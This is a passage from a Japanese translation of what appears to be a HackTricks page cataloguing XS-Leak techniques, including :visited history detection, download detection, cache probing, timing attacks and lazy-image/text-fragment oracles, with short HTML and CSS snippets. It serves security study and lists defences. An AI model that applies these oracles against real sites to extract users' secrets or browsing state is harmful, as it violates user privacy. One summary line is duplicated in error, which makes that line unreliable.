|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
||
- **概要:** `:visited` スタイルがURLに適用されているかどうかを検出し、すでに訪問されたことを示します。
|
||
- **コード例**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
||
|
||
> [!NOTE]
|
||
> [**これによると**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)、これはヘッドレスChromeでは機能しません。
|
||
|
||
CSSの `:visited` セレクタは、ユーザーが以前に訪問した場合にURLを異なるスタイルで装飾するために使用されます。過去には、`getComputedStyle()` メソッドを使用してこれらのスタイルの違いを特定することができました。しかし、現代のブラウザは、このメソッドがリンクの状態を明らかにするのを防ぐためのセキュリティ対策を実装しています。これらの対策には、リンクが訪問されたかのように常に計算されたスタイルを返し、`:visited` セレクタで適用できるスタイルを制限することが含まれます。
|
||
|
||
これらの制限にもかかわらず、リンクの訪問状態を間接的に見分けることは可能です。1つの技術は、ユーザーをCSSに影響を与える領域に対話させることを含み、特に `mix-blend-mode` プロパティを利用します。このプロパティは、要素とその背景をブレンドすることを可能にし、ユーザーの対話に基づいて訪問状態を明らかにする可能性があります。
|
||
|
||
さらに、リンクのレンダリングタイミングを悪用することで、ユーザーの対話なしに検出を行うことができます。ブラウザは、訪問済みリンクと未訪問リンクを異なる方法でレンダリングする可能性があるため、レンダリングにおける測定可能な時間の違いを生じさせることがあります。概念実証（PoC）は、Chromiumのバグ報告で言及されており、この技術を使用して複数のリンクを利用してタイミングの違いを増幅し、タイミング分析を通じて訪問状態を検出可能にすることを示しています。
|
||
|
||
これらのプロパティとメソッドの詳細については、ドキュメントページを訪れてください：
|
||
|
||
- `:visited`: [MDNドキュメント](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
||
- `getComputedStyle()`: [MDNドキュメント](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
||
- `mix-blend-mode`: [MDNドキュメント](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
||
|
||
### ContentDocument X-Frame漏洩
|
||
|
||
- **インクルージョンメソッド**: フレーム
|
||
- **検出可能な違い**: ヘッダー
|
||
- **詳細情報**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
|
||
- **概要:** Google Chromeでは、X-Frame-Options制限によりクロスオリジンサイトに埋め込まれたページがブロックされると、専用のエラーページが表示されます。
|
||
- **コード例**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
|
||
|
||
Chromeでは、`X-Frame-Options` ヘッダーが "deny" または "same-origin" に設定されたページがオブジェクトとして埋め込まれると、エラーページが表示されます。Chromeは、iframeや他のブラウザとは異なり、このオブジェクトの `contentDocument` プロパティに対して空のドキュメントオブジェクト（`null` ではなく）を一意に返します。攻撃者は、空のドキュメントを検出することでこれを悪用し、特に開発者がX-Frame-Optionsヘッダーを不一致に設定し、エラーページを見落とすことが多いため、ユーザーの状態に関する情報を明らかにする可能性があります。意識とセキュリティヘッダーの一貫した適用が、こうした漏洩を防ぐために重要です。
|
||
|
||
### ダウンロード検出
|
||
|
||
- **インクルージョンメソッド**: フレーム、ポップアップ
|
||
- **検出可能な違い**: ヘッダー
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
|
||
- **概要:** 攻撃者は、iframeを利用してファイルダウンロードを識別できます。iframeの継続的なアクセス可能性は、ファイルダウンロードが成功したことを示唆します。
|
||
- **コード例**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
|
||
|
||
`Content-Disposition` ヘッダー、特に `Content-Disposition: attachment` は、ブラウザにコンテンツをインラインで表示するのではなく、ダウンロードするよう指示します。この動作は、ユーザーがファイルダウンロードをトリガーするページにアクセスできるかどうかを検出するために悪用される可能性があります。Chromiumベースのブラウザでは、このダウンロード動作を検出するためのいくつかの技術があります：
|
||
|
||
1. **ダウンロードバーの監視**:
|
||
- Chromiumベースのブラウザでファイルがダウンロードされると、ブラウザウィンドウの下部にダウンロードバーが表示されます。
|
||
- ウィンドウの高さの変化を監視することで、ダウンロードバーの出現を推測し、ダウンロードが開始されたことを示唆できます。
|
||
2. **iframeを使用したダウンロードナビゲーション**:
|
||
- ページが `Content-Disposition: attachment` ヘッダーを使用してファイルダウンロードをトリガーすると、ナビゲーションイベントは発生しません。
|
||
- コンテンツをiframeに読み込み、ナビゲーションイベントを監視することで、コンテンツの配置がファイルダウンロードを引き起こすかどうか（ナビゲーションなし）を確認できます。
|
||
3. **iframeなしのダウンロードナビゲーション**:
|
||
- iframe技術と同様に、この方法はiframeの代わりに `window.open` を使用します。
|
||
- 新しく開かれたウィンドウでナビゲーションイベントを監視することで、ファイルダウンロードがトリガーされたかどうか（ナビゲーションなし）を明らかにすることができます。
|
||
|
||
ログインユーザーのみがそのようなダウンロードをトリガーできるシナリオでは、これらの技術を使用して、ブラウザのダウンロードリクエストに対する応答に基づいてユーザーの認証状態を間接的に推測することができます。
|
||
|
||
### パーティション化されたHTTPキャッシュバイパス <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
|
||
|
||
- **インクルージョンメソッド**: ポップアップ
|
||
- **検出可能な違い**: タイミング
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
|
||
- **概要:** 攻撃者は、iframeを利用してファイルダウンロードを識別できます。iframeの継続的なアクセス可能性は、ファイルダウンロードが成功したことを示唆します。
|
||
- **コード例**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||
|
||
> [!WARNING]
|
||
> この技術が興味深い理由は、Chromeが現在**キャッシュパーティショニング**を持っており、新しく開かれたページのキャッシュキーは `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)` ですが、ngrokページを開いてfetchを使用すると、キャッシュキーは `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)` になります。**キャッシュキーが異なる**ため、キャッシュは共有できません。詳細はここで確認できます: [キャッシュのパーティショニングによるセキュリティとプライバシーの向上](https://developer.chrome.com/blog/http-cache-partitioning/)\
|
||
> （[**こちらからのコメント**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)）
|
||
|
||
サイト `example.com` が `*.example.com/resource` からリソースを含む場合、そのリソースは、リソースがトップレベルナビゲーションを介して直接リクエストされた場合と**同じキャッシングキー**を持ちます。これは、キャッシングキーがトップレベルの _eTLD+1_ とフレーム _eTLD+1_ で構成されているためです。
|
||
|
||
キャッシュにアクセスする方がリソースを読み込むよりも速いため、ページの位置を変更し、20ms（例えば）後にそれをキャンセルすることを試みることができます。停止後にオリジンが変更された場合、それはリソースがキャッシュされていたことを意味します。\
|
||
または、**潜在的にキャッシュされたページにいくつかのfetchを送信し、かかる時間を測定することができます**。
|
||
|
||
### 手動リダイレクト <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||
|
||
- **インクルージョンメソッド**: Fetch API
|
||
- **検出可能な違い**: リダイレクト
|
||
- **詳細情報**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
|
||
- **概要:** fetchリクエストへの応答がリダイレクトであるかどうかを確認できます。
|
||
- **コード例**:
|
||
|
||
.png>)
|
||
|
||
### AbortControllerを使用したFetch <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
|
||
|
||
- **インクルージョンメソッド**: Fetch API
|
||
- **検出可能な違い**: タイミング
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||
- **概要:** リソースを読み込もうとし、読み込まれる前に中断されることがあります。エラーが発生するかどうかに応じて、リソースがキャッシュされていたかどうかがわかります。
|
||
- **コード例**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
|
||
|
||
_**fetch**_ と _**setTimeout**_ を使用して **AbortController** で、**リソースがキャッシュされているかどうかを検出し**、特定のリソースをブラウザキャッシュから排除します。さらに、このプロセスは新しいコンテンツをキャッシュせずに行われます。
|
||
|
||
### スクリプト汚染
|
||
|
||
- **インクルージョンメソッド**: HTML要素（スクリプト）
|
||
- **検出可能な違い**: ページコンテンツ
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||
- **概要:** **組み込み関数を上書き**し、その引数を読み取ることが可能で、**クロスオリジンのスクリプト**からも（直接読み取ることはできません）、これが**貴重な情報を漏洩する可能性があります**。
|
||
- **コード例**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
|
||
|
||
### サービスワーカー <a href="#service-workers" id="service-workers"></a>
|
||
|
||
- **インクルージョンメソッド**: ポップアップ
|
||
- **検出可能な違い**: ページコンテンツ
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
|
||
- **概要:** サービスワーカーを使用してウェブの実行時間を測定します。
|
||
- **コード例**:
|
||
|
||
このシナリオでは、攻撃者は自分のドメインの1つ、具体的には "attacker.com" に **サービスワーカー**を登録することから始めます。次に、攻撃者はメインドキュメントからターゲットウェブサイトに新しいウィンドウを開き、**サービスワーカー**にタイマーを開始するよう指示します。新しいウィンドウが読み込まれ始めると、攻撃者は前のステップで取得した参照を**サービスワーカー**によって管理されているページにナビゲートします。
|
||
|
||
前のステップで開始されたリクエストが到着すると、**サービスワーカー**は **204 (No Content)** ステータスコードで応答し、ナビゲーションプロセスを効果的に終了します。この時点で、**サービスワーカー**は前のステップで開始されたタイマーからの測定値をキャプチャします。この測定値は、ナビゲーションプロセスの遅延を引き起こすJavaScriptの持続時間によって影響を受けます。
|
||
|
||
> [!WARNING]
|
||
> 実行タイミングでは、**ネットワーク要因を排除**して**より正確な測定値を取得**することが可能です。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことによってです。
|
||
|
||
### Fetchタイミング
|
||
|
||
- **インクルージョンメソッド**: Fetch API
|
||
- **検出可能な違い**: タイミング（一般的にはページコンテンツ、ステータスコードによる）
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||
- **概要:** リクエストを実行するのにかかる時間を測定するために [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) を使用します。他の時計も使用できます。
|
||
- **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
|
||
|
||
### クロスウィンドウタイミング
|
||
|
||
- **インクルージョンメソッド**: ポップアップ
|
||
- **検出可能な違い**: タイミング（一般的にはページコンテンツ、ステータスコードによる）
|
||
- **詳細情報**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||
- **概要:** `window.open` を使用してリクエストを実行するのにかかる時間を測定するために [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) を使用します。他の時計も使用できます。
|
||
- **コード例**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
|
||
|
||
|
||
## HTMLまたは再インジェクションを使用して
|
||
|
||
ここでは、クロスオリジンHTMLから情報を抽出するための技術を見つけることができます。**HTMLコンテンツを注入する**ことができる場合に興味深い技術です。これらの技術は、何らかの理由で**HTMLを注入できるが、JSコードを注入できない**場合に興味深いです。
|
||
|
||
### ダンギングマークアップ
|
||
|
||
{{#ref}}
|
||
../dangling-markup-html-scriptless-injection/
|
||
{{#endref}}
|
||
|
||
### 画像の遅延読み込み
|
||
|
||
**コンテンツを抽出する**必要があり、**秘密の前にHTMLを追加できる**場合は、**一般的なダンギングマークアップ技術**を確認する必要があります。\
|
||
ただし、何らかの理由で**文字ごとに**行う必要がある場合（キャッシュヒットを介して通信する場合など）、このトリックを使用できます。
|
||
|
||
HTMLの**画像**には、値が**lazy**である "**loading**" 属性があります。この場合、画像はページが読み込まれるときではなく、表示されたときに読み込まれます。
|
||
```html
|
||
<img src=/something loading=lazy >
|
||
```
|
||
したがって、あなたができることは、**秘密の前にウェブページを埋めるために多くのジャンク文字を追加すること**です（例えば、**何千もの"W"**）。または、**<br><canvas height="1850px"></canvas><br>のようなものを追加します。**\
|
||
例えば、私たちの**インジェクションがフラグの前に現れると、**画像は**読み込まれますが、フラグの**後に現れると、フラグ + ジャンクが**読み込まれるのを防ぎます**（どれだけのジャンクを置くかは調整が必要です）。これは[**この書き込み**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/)で起こったことです。
|
||
|
||
もう一つのオプションは、**許可されている場合はscroll-to-text-fragmentを使用することです：**
|
||
|
||
#### Scroll-to-text-fragment
|
||
|
||
ただし、あなたは**ボットにページにアクセスさせる**必要があります。
|
||
```
|
||
#:~:text=SECR
|
||
```
|
||
ウェブページは次のようになります: **`https://victim.com/post.html#:~:text=SECR`**
|
||
|
||
ここで、post.html には攻撃者のジャンク文字と遅延読み込み画像が含まれ、その後にボットの秘密が追加されます。
|
||
|
||
このテキストが行うのは、ボットがページ内の `SECR` というテキストを含む任意のテキストにアクセスすることです。そのテキストは秘密であり、**画像のすぐ下にあるため**、**推測された秘密が正しい場合にのみ画像が読み込まれます**。これにより、**秘密を文字ごとに抽出するためのオラクルが得られます**。
|
||
|
||
これを利用するためのコード例: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||
|
||
### 画像の遅延読み込み時間ベース
|
||
|
||
もし**外部画像を読み込むことができない**場合、攻撃者に画像が読み込まれたことを示す別のオプションは、**文字を何度も推測してそれを測定すること**です。画像が読み込まれると、すべてのリクエストは画像が読み込まれない場合よりも長くかかります。これは、[**この書き込みの解決策**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **において使用されたものです**。
|
||
|
||
{{#ref}}
|
||
event-loop-blocking-+-lazy-images.md
|
||
{{#endref}}
|
||
|
||
### ReDoS
|
||
|
||
{{#ref}}
|
||
../regular-expression-denial-of-service-redos.md
|
||
{{#endref}}
|
||
|
||
### CSS ReDoS
|
||
|
||
`jQuery(location.hash)` が使用される場合、**HTML コンテンツが存在するかどうかをタイミングで確認することが可能です**。これは、セレクタ `main[id='site-main']` が一致しない場合、残りの**セレクタ**をチェックする必要がないためです。
|
||
```javascript
|
||
$(
|
||
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
|
||
)
|
||
```
|
||
### CSSインジェクション
|
||
|
||
{{#ref}}
|
||
css-injection/
|
||
{{#endref}}
|
||
|
||
## 防御策
|
||
|
||
[https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) およびウィキの各セクション [https://xsleaks.dev/](https://xsleaks.dev/) で推奨される緩和策があります。これらの技術から保護する方法についての詳細は、そちらをご覧ください。
|
||
|
||
## 参考文献
|
||
|
||
- [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
|
||
- [https://xsleaks.dev/](https://xsleaks.dev)
|
||
- [https://github.com/xsleaks/xsleaks](https://github.com/xsleaks/xsleaks)
|
||
- [https://xsinator.com/](https://xsinator.com/)
|
||
- [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|